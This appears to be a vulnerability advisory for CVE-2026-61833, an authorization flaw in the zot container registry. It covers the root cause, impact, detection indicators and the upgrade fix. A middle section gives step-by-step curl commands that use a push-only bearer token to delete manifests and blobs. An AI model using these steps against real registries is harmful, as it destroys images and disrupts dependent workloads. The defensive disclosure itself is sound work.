CVE-2026-61833: 
MinimOS vulnerability analysis and mitigation

CVE-2026-61833 is an improper authorization vulnerability in zot, an OCI-compliant container image and artifact registry, that allows bearer-authenticated users with only pull and push scopes to delete manifests and blobs they are not authorized to remove. It affects all versions of zotregistry.dev/zot/v2 prior to 2.1.18. The vulnerability was originally reported and fixed on June 24, 2026, and published to the GitHub Advisory Database on September 18, 2026. It carries a CVSS v3.1 base score of 8.1 (High) (Github Advisory).

The root cause is CWE-285 (Improper Authorization), arising from two interacting flaws in the zot codebase. First, in pkg/api/authn.go (lines 571–586), the bearer authentication handler uses a binary HTTP method check that maps GET and HEAD to pull and all other methods — including DELETE — to push, meaning the delete action is never assigned to any request. Second, in pkg/api/authz.go (lines 270–275, 318–323), the DistSpecAuthzHandler middleware — which performs fine-grained action inference distinguishing create, read, update, and delete — is bypassed entirely for bearer-authenticated requests. Compounding this, neither the DeleteManifest nor DeleteBlob route handlers perform an independent authorization check for the delete permission before executing the deletion. This deviates from the Docker Distribution Token Authentication Specification, which defines delete as a distinct scope action separate from push (Github Advisory, Fix PR).

Any authenticated user holding a bearer token scoped to pull and push — but explicitly lacking delete — can permanently delete arbitrary manifests (image tags) and blobs within the token's repository scope. This can render production container images unpullable, rewrite or erase repository history, and cause data loss and service disruption for dependent workloads. The impact is particularly severe in CI/CD pipelines where least-privilege tokens are issued to automated build systems: a compromised or stolen CI token could be weaponized to destroy registry artifacts without the operator's knowledge (Github Advisory).

No public proof-of-concept exploit code has been released, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is 0.0, reflecting low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires only a valid bearer token with push scope — a low bar in environments where such tokens are routinely issued to CI/CD systems — making the attack straightforward for any authenticated user within the token's repository scope.

1. Obtain a bearer token: Authenticate to the zot token server and request a token scoped to repository:<repo-name>:pull,push (no delete action). This is a standard CI/CD token with least-privilege intent.
2. Verify push access: Confirm the token works for normal push operations by uploading a blob:

curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/octet-stream" \
  -X POST "http://<zot-host>/v2/<repo>/blobs/uploads/?digest=sha256:<digest>" \
  -d '{}'
# Expected: 201 Created

3. Push a manifest: Push an OCI manifest to the target repository using the push-scoped token (succeeds as expected).
4. Issue unauthorized DELETE: Send a DELETE request for a manifest or blob using the same push-only token:

curl -H "Authorization: Bearer $TOKEN" \
  -X DELETE "http://<zot-host>/v2/<repo>/manifests/<tag-or-digest>"
# Expected (vulnerable): 202 Accepted
# Expected (patched): 401 Unauthorized

5. Confirm deletion: Verify the manifest is gone:

curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \
  "http://<zot-host>/v2/<repo>/manifests/<tag-or-digest>"
# Returns: 404 Not Found

6. Repeat for blobs: Use the same technique against blob endpoints (/v2/<repo>/blobs/<digest>) to delete underlying layer data, rendering images permanently unrecoverable (Github Advisory).

• Network: Unexpected HTTP DELETE requests to /v2/<repo>/manifests/<reference> or /v2/<repo>/blobs/<digest> endpoints from clients presenting bearer tokens; 202 Accepted responses to DELETE requests from tokens that should only have pull/push scope.
• Logs: zot access logs showing DELETE method requests returning HTTP 202 from authenticated bearer token users; absence of corresponding delete-scoped token grants in the token server's issuance logs for the same client.
• Application Behavior: Manifests or blobs disappearing from the registry without corresponding administrative action or explicit delete-scoped token usage; image pull failures (404 Not Found) for previously available tags in production repositories.
• Token Audit: Bearer tokens in use that carry only pull and push actions but are associated with DELETE operations in registry access logs.

Upgrade zot to version 2.1.18 or later, which fixes the action mapping in pkg/api/authn.go to explicitly assign the delete action to HTTP DELETE requests (via a switch statement) and was released on June 24, 2026 (zot v2.1.18, Fix Commit). No configuration-based workaround is available for unpatched versions, as the flaw is in the core authentication/authorization middleware. As an interim measure, audit all bearer tokens currently in use, rotate any push-scoped tokens that should not have delete capabilities, and restrict network access to the zot registry API to trusted clients only.